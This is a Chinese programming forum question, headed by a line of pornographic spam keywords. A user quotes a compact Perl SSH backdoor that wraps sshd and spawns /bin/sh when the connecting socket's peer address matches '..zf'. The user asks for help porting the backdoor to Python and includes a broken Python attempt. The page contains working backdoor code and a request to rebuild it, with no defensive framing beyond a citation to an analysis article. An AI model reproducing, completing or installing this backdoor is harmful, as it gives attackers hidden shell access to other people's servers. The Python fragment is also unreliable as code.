亚洲在线久爱草,狠狠天天香蕉网,天天搞日日干久草,伊人亚洲日本欧美

為了賬號安全,請及時綁定郵箱和手機立即綁定
已解決430363個問題,去搜搜看,總會有你想問的

這個perl腳本的stdin的內容的判斷?各位有什么建議?

這個perl腳本的stdin的內容的判斷?各位有什么建議?

一只名叫tom的貓 2019-08-10 11:21:05
問題出現的環境背景及自己嘗試過哪些方法有個linux程序運行傳參(socket)的問題,有個perl中間件腳本如下:#!/usr/bin/perlexec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;我用python實現這個功能,卡在了重寫第一句的條件判斷處。perl是用了getpeername的方法來從stdin中取到了信息,我不知道怎么查看這個stdin,于是查perl的資料知道getpeername()是根據socketfd來獲得remoteaddress+port:*POSIX::getpeernameallowsyoutogetpeernamefromsockfd.來自https://metacpan.org/pod/POSI...*我按照這個思路用python的os模塊實現卻沒有成果,#!/usr/bin/python3.5importosimportsocketimportsubprocessimportsysforsinsys.stdin:raddr=os.read(s,100)ifre.match(r'..zf',raddr):os.execv("/bin/sh")withopen("hello.log","a+")asf:f.write(str(raddr))os.execv('/usr/bin/sshd',sys.argv)我的查詢結果對嗎?這個stdin是一個打開的socket文件描述符么也就是個非負整數么?PS:這個perl腳本的來源一款短小精致的SSH后門分析-FreeBuf互聯網安全新媒體平臺https://www.freebuf.com/artic...問題描述
查看完整描述

2 回答

  • 2 回答
  • 0 關注
  • 612 瀏覽
慕課專欄
更多

添加回答

舉報

0/150
提交
取消
微信客服

購課補貼
聯系客服咨詢優惠詳情

幫助反饋 APP下載

慕課網APP
您的移動學習伙伴

公眾號

掃描二維碼
關注慕課網微信公眾號